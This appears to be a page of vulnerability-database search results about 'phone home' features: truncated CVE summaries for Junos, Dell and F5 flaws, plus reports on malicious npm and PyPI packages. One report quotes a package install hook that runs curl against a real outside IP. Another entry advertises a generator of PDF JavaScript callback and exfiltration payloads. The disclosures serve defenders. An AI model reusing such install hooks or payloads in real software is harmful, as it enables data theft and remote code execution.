27 matches found
CVE-2026-102061
A Stack-based Buffer Overflow vulnerability exists in the phone-home daemon (phcd) of Juniper Networks Junos OS and Junos OS Evolved . An adjacent unauthenticated attacker can execute arbitrary code as root by sending a crafted DHCP SZTP bootstrap message . This vulnerability specifically impacts...
EUVD-2026-101388
A Stack-based Buffer Overflow vulnerability in the phone-home daemon phcd of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent unauthenticated attacker to execute arbitrary code as root via a crafted DHCP SZTP bootstrap message. This issue only affects platforms that support...
CVE-2026-102059
Juniper Networks Junos OS and Junos OS Evolved on EX Series , SRX Series , and QFX Series are vulnerable to an OS Command Injection (CWE-78) vulnerability. The flaw exists in the phone-home daemon (phcd) , where the software fails to properly neutralize special elements used in OS commands. This ...
MAL-2026-15917 Malicious code in @crysnovax/baileys (npm)
@crysnovax/baileys is a renamed fork of the Baileys WhatsApp Web library. On every successful connection connection.update with connection === 'open', wired in lib/Socket/socket.js it silently makes the user's own authenticated WhatsApp account follow two channels controlled by the publisher,...
MAL-2026-14395 Malicious code in sm-billing-form (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 422b9f6c71b124deff27a41ef4b595c308595c14af77dbd3756de0e625f86fc2 package.json defines preinstall and postinstall lifecycle scripts that run curl -s http://16.192.173.5/sm-billing-form/pre and curl -s...
PDF JavaScript Callback Generator
Generate PDFs with JavaScript phone-home payloads for Acrobat, Foxit, PDF.js and browser contexts. Includes OpenAction, annotation triggers, widget buttons, submitForm exfiltration, and per-API isolated test cases getURL, launchURL, SOAP, fetch, XHR, WebSocket, staged loaders. !/usr/bin/env pytho...
Malicious code in base_parts_ai (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 07b0e2bcf47f6720470181fe18dda70621d52a4fb65fec395a87e14ec39c5219 When a user runs the package's jcc or jcx CLI, lib/aiutils.js polls https://jai.jaskle.cn/hm/hmpub/aicccfg for a newVer value and, if it differs from...
MAL-2026-6228 Malicious code in base_parts_ai (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 07b0e2bcf47f6720470181fe18dda70621d52a4fb65fec395a87e14ec39c5219 When a user runs the package's jcc or jcx CLI, lib/aiutils.js polls https://jai.jaskle.cn/hm/hmpub/aicccfg for a newVer value and, if it differs from...
MAL-2026-4821 Malicious code in pywingui (PyPI)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6db77876bf3b13e55750748761841f7ab77f17bd951bdc1c749e1e56d4416d7e pywingui 6.0.1 advertises itself as a Win32 UI automation framework but ships only Nuitka-compiled cp311-win32.pyd binaries the 4.py files are trivia...
EUVD-2014-9151
Malware in sbrugna...
EUVD-2018-7647
Malware in sbrugna...
Malicious code in eslint-plugin-panel-ops (npm)
Malware: Executes code on install, exfiltrates data via DNS to a suspicious domain. Contains a preinstall script and phone-home behavior. --- -= Per source details. Do not edit below this line.=- Source: ghsa-malware bc1ea7508e63005e73356cfdb457f0050ebb7ae1f04cb319592c30a140c4e2f2 Any computer th...
What Data Does Veeam Kasten for Kubernetes Include in the Phone Home Reports
Purpose This article documents what data is included in the phone home reports sent by Veeam Kasten for Kubernetes. Solution The data is divided into the following sections Basic Data Infrastructure Data Run Time Data for Billing Purposes Additional Metrics Profiles Artifact Metrics Basic Data...
K16090: BIG-IP Automatic Update Check and ASM Automatic Signature Update man-in-the-middle vulnerability CVE-2014-9326
Security Advisory Description The automatic signature update functionality in the 1 Phone Home feature in F5 BIG-IP LTM, AAM, AFM, Analytics, APM, GTM, and Link Controller 11.5.0 through 11.6.0, ASM 10.0.0 through 11.6.0, and PEM 11.3.0 through 11.6.0 and the 2 Call Home feature in ASM 10.0.0...
Code injection
Dell Networking OS10 versions prior to 10.4.3.0 contain a vulnerability in the Phone Home feature which does not properly validate the server's certificate authority during TLS handshake. Use of an invalid or malicious certificate could potentially allow an attacker to spoof a trusted entity by...
CVE-2018-15784
Dell Networking OS10 versions prior to 10.4.3.0 contain a vulnerability in the Phone Home feature which does not properly validate the server's certificate authority during TLS handshake. Use of an invalid or malicious certificate could potentially allow an attacker to spoof a trusted entity by...
CVE-2018-15784
Dell Networking OS10 versions prior to 10.4.3.0 contain a vulnerability in the Phone Home feature which does not properly validate the server's certificate authority during TLS handshake. Use of an invalid or malicious certificate could potentially allow an attacker to spoof a trusted entity by...
PT-2019-9179
Name of the Vulnerable Software and Affected Versions Dell Networking OS10 versions prior to 10.4.3.0 Description The issue arises from a vulnerability in the Phone Home feature, which fails to properly validate the server's certificate authority during the TLS handshake. This could allow an...
CVE-2018-15784: Improper Certificate Validation
Dell Networking OS10 versions prior to 10.4.3.0 contain a vulnerability in the Phone Home feature which does not properly validate the server's certificate authority during TLS handshake. Use of an invalid or malicious certificate could potentially allow an attacker to spoof a trusted entity by...
CVE-2018-1204
Dell EMC Isilon OneFS versions between 8.1.0.0 - 8.1.0.1, 8.0.1.0 - 8.0.1.2, and 8.0.0.0 - 8.0.0.6, versions 7.2.1.x, and version 7.1.1.11 is affected by a path traversal vulnerability in the isiphonehome tool. A malicious compadmin may potentially exploit this vulnerability to execute arbitrary...